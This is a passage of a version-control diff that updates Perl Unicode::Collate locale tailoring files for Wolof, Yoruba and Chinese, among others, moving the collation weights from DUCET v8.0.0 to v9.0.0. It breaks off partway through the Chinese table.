-0061 0308 0061 0308 ; [.1BC2.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER A, COMBINING DIAERESIS, LATIN SMALL LETTER A, COMBINING DIAERESIS>
-0065 0065 ; [.1C25.0020.0002][.0000.0024.0002] # <LATIN SMALL LETTER E, LATIN SMALL LETTER E>
-0069 0069 ; [.1CAD.0020.0002][.0000.0024.0002] # <LATIN SMALL LETTER I, LATIN SMALL LETTER I>
-006F 006F ; [.1D58.0020.0002][.0000.0024.0002] # <LATIN SMALL LETTER O, LATIN SMALL LETTER O>
-00F6 00F6 ; [.1D58.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER O WITH DIAERESIS, LATIN SMALL LETTER O WITH DIAERESIS>
-00F6 006F 0308 ; [.1D58.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER O WITH DIAERESIS, LATIN SMALL LETTER O, COMBINING DIAERESIS>
-006F 0308 00F6 ; [.1D58.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER O, COMBINING DIAERESIS, LATIN SMALL LETTER O WITH DIAERESIS>
-006F 0308 006F 0308 ; [.1D58.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER O, COMBINING DIAERESIS, LATIN SMALL LETTER O, COMBINING DIAERESIS>
-0063 0068 ; [.1BF5.0020.0002][.0000.0028.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
-0073 0063 0068 ; [.1DEC.0020.0002][.0000.0028.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER C, LATIN SMALL LETTER H>
-0075 0075 ; [.1E30.0020.0002][.0000.0024.0002] # <LATIN SMALL LETTER U, LATIN SMALL LETTER U>
-00FC 00FC ; [.1E30.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, LATIN SMALL LETTER U WITH DIAERESIS>
-00FC 0075 0308 ; [.1E30.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, LATIN SMALL LETTER U, COMBINING DIAERESIS>
-0075 0308 00FC ; [.1E30.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER U, COMBINING DIAERESIS, LATIN SMALL LETTER U WITH DIAERESIS>
-0075 0308 0075 0308 ; [.1E30.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER U, COMBINING DIAERESIS, LATIN SMALL LETTER U, COMBINING DIAERESIS>
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0061 0061 ; [.1C47.0020.0002][.0000.0024.0002] # <LATIN SMALL LETTER A, LATIN SMALL LETTER A>
+00E4 00E4 ; [.1C47.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER A WITH DIAERESIS, LATIN SMALL LETTER A WITH DIAERESIS>
+00E4 0061 0308 ; [.1C47.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER A WITH DIAERESIS, LATIN SMALL LETTER A, COMBINING DIAERESIS>
+0061 0308 00E4 ; [.1C47.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER A, COMBINING DIAERESIS, LATIN SMALL LETTER A WITH DIAERESIS>
+0061 0308 0061 0308 ; [.1C47.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER A, COMBINING DIAERESIS, LATIN SMALL LETTER A, COMBINING DIAERESIS>
+0065 0065 ; [.1CAA.0020.0002][.0000.0024.0002] # <LATIN SMALL LETTER E, LATIN SMALL LETTER E>
+0069 0069 ; [.1D32.0020.0002][.0000.0024.0002] # <LATIN SMALL LETTER I, LATIN SMALL LETTER I>
+006F 006F ; [.1DDD.0020.0002][.0000.0024.0002] # <LATIN SMALL LETTER O, LATIN SMALL LETTER O>
+00F6 00F6 ; [.1DDD.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER O WITH DIAERESIS, LATIN SMALL LETTER O WITH DIAERESIS>
+00F6 006F 0308 ; [.1DDD.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER O WITH DIAERESIS, LATIN SMALL LETTER O, COMBINING DIAERESIS>
+006F 0308 00F6 ; [.1DDD.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER O, COMBINING DIAERESIS, LATIN SMALL LETTER O WITH DIAERESIS>
+006F 0308 006F 0308 ; [.1DDD.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER O, COMBINING DIAERESIS, LATIN SMALL LETTER O, COMBINING DIAERESIS>
+0063 0068 ; [.1C7A.0020.0002][.0000.0028.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0073 0063 0068 ; [.1E71.0020.0002][.0000.0028.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0075 0075 ; [.1EB5.0020.0002][.0000.0024.0002] # <LATIN SMALL LETTER U, LATIN SMALL LETTER U>
+00FC 00FC ; [.1EB5.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, LATIN SMALL LETTER U WITH DIAERESIS>
+00FC 0075 0308 ; [.1EB5.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, LATIN SMALL LETTER U, COMBINING DIAERESIS>
+0075 0308 00FC ; [.1EB5.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER U, COMBINING DIAERESIS, LATIN SMALL LETTER U WITH DIAERESIS>
+0075 0308 0075 0308 ; [.1EB5.0020.0002][.0000.002D.0002] # <LATIN SMALL LETTER U, COMBINING DIAERESIS, LATIN SMALL LETTER U, COMBINING DIAERESIS>
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/wo.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/wo.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/wo.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,32 +1,32 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
 # eng doesn't require tailoring
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00E0      ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0300 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0340 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH GRAVE
-00C0      ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0300 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0340 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-00E9      ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0301 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0341 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
-00C9      ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0301 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0341 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-00EB      ; [.1C27.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS
-0065 0308 ; [.1C27.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS
-00CB      ; [.1C27.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS
-0045 0308 ; [.1C27.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS
-00F1      ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE
-006E 0303 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH TILDE
-00D1      ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
-004E 0303 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
-00F3      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0301 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0341 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
-00D3      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0301 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0341 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00E0      ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0300 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0340 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH GRAVE
+00C0      ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0300 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0340 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+00E9      ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0301 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0341 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
+00C9      ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0301 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0341 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+00EB      ; [.1CAC.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS
+0065 0308 ; [.1CAC.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS
+00CB      ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS
+0045 0308 ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS
+00F1      ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE
+006E 0303 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH TILDE
+00D1      ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
+004E 0303 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH TILDE
+00F3      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0301 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0341 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0301 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0341 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/yo.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/yo.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/yo.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,26 +1,26 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-1EB9      ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH DOT BELOW
-0065 0323 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH DOT BELOW
-1EB8      ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH DOT BELOW
-0045 0323 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH DOT BELOW
-1EC7      ; [.1C26.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6      ; [.1C26.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-0067 0062 ; [.1C70.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER B>
-0047 0062 ; [.1C70.0020.0007] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER B>
-0047 0042 ; [.1C70.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER B>
-1ECD      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW
-006F 0323 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW
-1ECC      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW
-004F 0323 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW
-1ED9      ; [.1D59.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1ED8      ; [.1D59.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1EE3      ; [.1D59.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW
-1EE2      ; [.1D59.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
-1E63      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH DOT BELOW
-0073 0323 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH DOT BELOW
-1E62      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH DOT BELOW
-0053 0323 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH DOT BELOW
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+1EB9      ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH DOT BELOW
+0065 0323 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH DOT BELOW
+1EB8      ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH DOT BELOW
+0045 0323 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH DOT BELOW
+1EC7      ; [.1CAB.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6      ; [.1CAB.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+0067 0062 ; [.1CF5.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER B>
+0047 0062 ; [.1CF5.0020.0007] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER B>
+0047 0042 ; [.1CF5.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER B>
+1ECD      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW
+006F 0323 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW
+1ECC      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW
+004F 0323 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW
+1ED9      ; [.1DDE.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1ED8      ; [.1DDE.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1EE3      ; [.1DDE.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW
+1EE2      ; [.1DDE.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
+1E63      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH DOT BELOW
+0073 0323 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH DOT BELOW
+1E62      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH DOT BELOW
+0053 0323 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH DOT BELOW
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,211 +1,211 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0101      ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0100      ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-00E1      ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-00C1      ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-01CE      ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-01CD      ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-00E0      ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-00C0      ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0113      ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0112      ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-00E9      ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-00C9      ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-011B      ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-011A      ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-00E8      ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-00C8      ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-00EA 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-00CA 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-0065 0302 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-0045 0302 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-1EBF      ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EBE      ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-00EA 0301 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00EA 0341 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00CA 0301 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00CA 0341 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00EA 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-00CA 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-0065 0302 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-0045 0302 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-1EC1      ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC0      ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-00EA 0300 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00EA 0340 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00CA 0300 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00CA 0340 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00EA      ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA      ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-1EC5      ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC4      ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC3      ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC2      ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC7      ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6      ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-012B      ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-012A      ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-00ED      ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-00CD      ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-01D0      ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-01CF      ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-00EC      ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-00CC      ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-006D 0304 ; [.1D25.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
-004D 0304 ; [.1D25.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
-1E3F      ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-1E3E      ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-006D 030C ; [.1D25.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
-004D 030C ; [.1D25.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
-006D 0300 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
-006D 0340 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
-004D 0300 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
-004D 0340 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
-006E 0304 ; [.1D34.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
-004E 0304 ; [.1D34.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
-0144      ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-0143      ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-0148      ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-0147      ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-01F9      ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-01F8      ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-014D      ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-014C      ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-00F3      ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
